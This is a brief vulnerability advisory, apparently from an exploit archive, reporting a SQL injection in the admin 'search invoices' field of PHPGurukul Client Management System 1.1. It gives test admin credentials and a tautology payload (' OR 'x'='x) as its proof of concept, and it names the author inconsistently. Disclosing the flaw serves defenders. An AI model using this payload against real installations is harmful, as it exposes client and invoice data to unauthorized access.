|===========================================================================
| # Exploit Title : 
|                                                                           
| # Author : Ali Seddigh                                               
|                                                                           
| # Category : Web Application               
|
| # Vendor Homepage : https://phpgurukul.com
|
| # Software Link : https://phpgurukul.com/client-management-system-using-php-mysql/
|                                                                           
| # Tested on : [ Windows ~> 10 , KaliLinux ]                                                     
|
| # Version : 1.1
|                  
| # Date : 2021-06-26                                                        
|===========================================================================

<----- Description ----->

Client Management System 1.1 is vulnerable to SQL Injection in the admin panel 'search invoices' field because of insufficient user supplied data sanitization.

# Proof of Concept (PoC) :

1) Goto: http://localhost/clientms/admin/index.php
2) Login as admin using test credentials: admin/Test@123
3) Goto: http://localhost/clientms/admin/search-invoices.php
4) Enter the following payload in the search field: ' OR 'x'='x
5) All results are showed instead of none ==> SQL Injection success

|===========================================================================
| # Discovered By : Ali Triplex                                             
|===========================================================================